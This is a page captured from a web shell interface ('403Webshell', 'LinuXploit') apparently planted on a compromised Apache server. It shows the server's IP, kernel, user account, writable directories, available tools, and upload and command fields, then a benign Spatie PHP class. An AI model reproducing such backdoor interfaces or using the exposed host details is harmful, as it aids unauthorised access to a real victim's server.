403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark-admin/vendor/spatie/error-solutions/src/Contracts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark-admin/vendor/spatie/error-solutions/src/Contracts/BaseSolution.php
<?php

namespace Spatie\ErrorSolutions\Contracts;

class BaseSolution implements Solution
{
    protected string $title;

    protected string $description = '';

    /** @var array<string, string> */
    protected array $links = [];

    public static function create(string $title = ''): static
    {
        // It's important to keep the return type as static because
        // the old Facade Ignition contracts extend from this method.

        /** @phpstan-ignore-next-line */
        return new static($title);
    }

    public function __construct(string $title = '')
    {
        $this->title = $title;
    }

    public function getSolutionTitle(): string
    {
        return $this->title;
    }

    public function setSolutionTitle(string $title): self
    {
        $this->title = $title;

        return $this;
    }

    public function getSolutionDescription(): string
    {
        return $this->description;
    }

    public function setSolutionDescription(string $description): self
    {
        $this->description = $description;

        return $this;
    }

    /** @return array<string, string> */
    public function getDocumentationLinks(): array
    {
        return $this->links;
    }

    /** @param array<string, string> $links */
    public function setDocumentationLinks(array $links): self
    {
        $this->links = $links;

        return $this;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit